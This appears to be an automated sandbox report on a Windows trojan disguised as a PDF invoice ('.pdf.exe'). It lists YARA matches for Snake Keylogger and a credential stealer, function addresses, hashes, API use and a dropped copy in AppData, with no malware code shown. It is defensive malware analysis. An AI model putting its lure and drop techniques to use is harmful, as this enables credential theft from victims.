Source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample	Static PE information: Filename: Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: initial sample	Static PE information: Filename: Proforma Invoice_21-1541 And Packing List.pdf.exe

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_00A5D69C	0_2_00A5D69C
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_04DE4790	0_2_04DE4790
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_04DE4780	0_2_04DE4780
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_04DE4D40	0_2_04DE4D40
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CF4A0	0_2_053CF4A0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CC490	0_2_053CC490
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CF490	0_2_053CF490
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CF051	0_2_053CF051
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CF053	0_2_053CF053
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CBC17	0_2_053CBC17
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053C5F30	0_2_053C5F30
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053C5F23	0_2_053C5F23
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053CF8D8	0_2_053CF8D8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_07275778	0_2_07275778
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0727655E	0_2_0727655E
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_072744EC	0_2_072744EC
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0727C09C	0_2_0727C09C
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_07270F38	0_2_07270F38
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0727D7B1	0_2_0727D7B1
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_07271370	0_2_07271370
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0737ACE9	0_2_0737ACE9
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B06E390	0_2_0B06E390
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B062870	0_2_0B062870
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B0666A1	0_2_0B0666A1
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B0634F0	0_2_0B0634F0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B062870	0_2_0B062870
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B0666A1	0_2_0B0666A1
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269D2C9	9_2_0269D2C9
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02695362	9_2_02695362
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269C147	9_2_0269C147
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269C788	9_2_0269C788
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269D599	9_2_0269D599
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269CA58	9_2_0269CA58
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269EAA8	9_2_0269EAA8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269FBB6	9_2_0269FBB6
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_026969A0	9_2_026969A0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02693E09	9_2_02693E09
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269CFF7	9_2_0269CFF7
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02696FC8	9_2_02696FC8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269CD28	9_2_0269CD28
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02699DE0	9_2_02699DE0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269F76C	9_2_0269F76C
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02693AA1	9_2_02693AA1
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269EA9B	9_2_0269EA9B
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_026929EC	9_2_026929EC
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06581E80	9_2_06581E80
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06580B30	9_2_06580B30
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06589328	9_2_06589328
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658F3B8	9_2_0658F3B8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_065817A0	9_2_065817A0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06589C70	9_2_06589C70
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_065850B6	9_2_065850B6
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06582568	9_2_06582568
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658E258	9_2_0658E258
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658E257	9_2_0658E257
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06581E70	9_2_06581E70
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658DE00	9_2_0658DE00
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658E6B0	9_2_0658E6B0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658E6AF	9_2_0658E6AF
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658EF60	9_2_0658EF60
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658EB08	9_2_0658EB08
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06580B20	9_2_06580B20
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06588B90	9_2_06588B90
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658178F	9_2_0658178F
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06588BA0	9_2_06588BA0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06580040	9_2_06580040
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658FC68	9_2_0658FC68
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06589C6D	9_2_06589C6D
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658F810	9_2_0658F810
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658F802	9_2_0658F802
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658003F	9_2_0658003F
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658D0F8	9_2_0658D0F8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658CCA0	9_2_0658CCA0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658D550	9_2_0658D550
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06589548	9_2_06589548
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658DDFF	9_2_0658DDFF
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658D999	9_2_0658D999
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0658D9A8	9_2_0658D9A8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 10_2_0081D69C	10_2_0081D69C
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 10_2_04AD4D40	10_2_04AD4D40
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 10_2_04AD4780	10_2_04AD4780
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 10_2_04AD4790	10_2_04AD4790
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111C148	13_2_0111C148
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01115362	13_2_01115362
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111D2C8	13_2_0111D2C8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111D599	13_2_0111D599
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111C468	13_2_0111C468
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_011169B0	13_2_011169B0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111CA58	13_2_0111CA58
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111EAA8	13_2_0111EAA8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111CD28	13_2_0111CD28
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01119DE0	13_2_01119DE0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111CFF7	13_2_0111CFF7
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111F35F	13_2_0111F35F
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111F360	13_2_0111F360
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_011139F0	13_2_011139F0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_011129EC	13_2_011129EC
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111EA9A	13_2_0111EA9A
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01113AA1	13_2_01113AA1
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01113E18	13_2_01113E18
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05518BD0	13_2_05518BD0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_055146B0	13_2_055146B0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_055192A0	13_2_055192A0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551DD37	13_2_0551DD37
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551DD38	13_2_0551DD38
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551DD28	13_2_0551DD28
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551E5D9	13_2_0551E5D9
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551E5E8	13_2_0551E5E8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551E190	13_2_0551E190
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551E180	13_2_0551E180
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05510040	13_2_05510040
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D479	13_2_0551D479
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05510006	13_2_05510006
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D030	13_2_0551D030
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D021	13_2_0551D021
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D8D2	13_2_0551D8D2
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D8E0	13_2_0551D8E0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D487	13_2_0551D487
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551D488	13_2_0551D488
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_055110B8	13_2_055110B8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_055110A7	13_2_055110A7
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551F748	13_2_0551F748
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551C317	13_2_0551C317
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551F738	13_2_0551F738
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551C328	13_2_0551C328
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551CBD8	13_2_0551CBD8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551CBC8	13_2_0551CBC8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05511798	13_2_05511798
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551C780	13_2_0551C780
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05511788	13_2_05511788
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551FBA0	13_2_0551FBA0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551EA40	13_2_0551EA40
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05518218	13_2_05518218
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551EA30	13_2_0551EA30
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05518228	13_2_05518228
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551F2F0	13_2_0551F2F0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551F2E1	13_2_0551F2E1
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551EE98	13_2_0551EE98
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_05511E80	13_2_05511E80
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0551EE8A	13_2_0551EE8A
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_055146A0	13_2_055146A0

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000D.00000002.4175064237.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vrhZELiHpiub.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, JA-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, JA-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, B9CVxTWqZbL9COxYSC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, B9CVxTWqZbL9COxYSC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/11@4/4

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

File created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmp5F82.tmp

Jump to behavior

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

